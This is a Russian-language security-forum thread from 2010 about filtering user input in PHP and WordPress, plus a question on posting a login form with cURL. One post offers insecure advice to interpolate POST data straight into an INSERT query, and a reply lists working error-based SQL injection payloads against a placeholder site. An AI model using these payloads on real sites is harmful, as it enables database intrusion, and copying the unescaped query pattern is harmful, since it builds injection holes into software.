HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.06.2010, 18:49
Failure
Участник форума
Регистрация: 21.09.2008
Сообщений: 148
Провел на форуме:
678893

Репутация: 102
По умолчанию

2 Adio

ну как бы это есть верный подход, данные которые заносятся в базу ничем и никак фильтровать не надо, а фильтровать от всяких xss надо уже на выходе, ну раз тебе уж так хочется, то делай.
просто перед записью в бд фильтруй, тем же способом что я написал выше, например
PHP код:
<?php
$name 
$_POST['name']; //передаваемый параметр name с формы
$name htmlentites(...);
....
mysql_query("INSERT INTO .... VALUES('{$name}', ...)");
....
?>
2 CyberHunter
в денвере если не ошибаюсь, есть phpmyadmin, там и смотри в какой кодировке все нормально, и ставь её в wp-config.php
//define('DB_CHARSET', 'utf8');

Последний раз редактировалось Failure; 08.06.2010 в 18:53..
 
Ответить с цитированием

  #2  
Старый 08.06.2010, 20:22
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме:
2212846

Репутация: 56
По умолчанию

Цитата:
Сообщение от Failure  
данные которые заносятся в базу ничем и никак фильтровать не надо


Код HTML:
insert into test (id,a) values (1,'sqli');  

insert into test (id,a) values (sqli,'test');  

insert into test set id=sqli;  

insert into test set a='sqli';  

update test set id=sqli where...;  

update test set a='sqli' where...;  
Код HTML:
http://site.com/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--

http://site.com/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 

http://site.com/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Последний раз редактировалось Redwood; 08.06.2010 в 20:36..
 
Ответить с цитированием

  #3  
Старый 08.06.2010, 21:13
Vlad&slav
Участник форума
Регистрация: 01.01.2009
Сообщений: 138
Провел на форуме:
817404

Репутация: 82
Отправить сообщение для Vlad&slav с помощью ICQ
По умолчанию

Какие бд, вы чё? Эта фигня при аякся, чтобы убрать надо в файлах к которым идёт запрос аякса прописать хеадер, в этом вордпресе половину переписывать прешлось
 
Ответить с цитированием

  #4  
Старый 09.06.2010, 00:02
Deani
Познающий
Регистрация: 09.11.2009
Сообщений: 32
Провел на форуме:
79679

Репутация: 3
По умолчанию

У меня такой вопрос. Есть форма на сайте site.com/index.php:
PHP код:
<?php 

if ( isset($_POST['login']) && isset($_POST['pass']) && $_POST['login'] == 'admin' && $_POST['pass'] == 'admin') {
    echo 
'DATA';
} else {

echo <<<here
<form method='POST'>
<input type='text' name='login'>
<input type='text' name='pass'>
<input type='submit'>
</form>
here;

}
?>
Как получить доступ к строке DATA с локалхоста ?
 
Ответить с цитированием

  #5  
Старый 09.06.2010, 00:17
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

site.com/index.php
сделать post запрос такой:
login=admin&pass=admin

Ну или в формочку ввести admin и admin
 
Ответить с цитированием

  #6  
Старый 09.06.2010, 01:20
Deani
Познающий
Регистрация: 09.11.2009
Сообщений: 32
Провел на форуме:
79679

Репутация: 3
По умолчанию

а по подробней можно ??
 
Ответить с цитированием

  #7  
Старый 09.06.2010, 01:21
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

Судя по коду, форма выводится на сайте
в оба поля вбей admin и все
 
Ответить с цитированием

  #8  
Старый 09.06.2010, 01:23
Deani
Познающий
Регистрация: 09.11.2009
Сообщений: 32
Провел на форуме:
79679

Репутация: 3
По умолчанию

да нет же... мне нужно с локального сервера, через программу залогинится и через функцию file_get_contents сохранить строку
 
Ответить с цитированием

  #9  
Старый 09.06.2010, 01:25
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

My favourite curl
PHP код:
$curl curl_init();
    
curl_setopt($curl,CURLOPT_URL,"http://site.com/index.php");
    
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
    
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
    
curl_setopt($curl,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 MRA 5.6 (build 03278) Firefox/3.5.7 sputnik unknown");
    
curl_setopt($curl,CURLOPT_POST1);
    
curl_setopt($curl,CURLOPT_POSTFIELDS"login=admin&pass=admin"); 
    
curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate"); 
    
$ret curl_exec($curl);    
        echo 
$ret
 
Ответить с цитированием

  #10  
Старый 09.06.2010, 01:28
Deani
Познающий
Регистрация: 09.11.2009
Сообщений: 32
Провел на форуме:
79679

Репутация: 3
По умолчанию

да ! чтото наподобии этого мне было нужно. сенкс
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ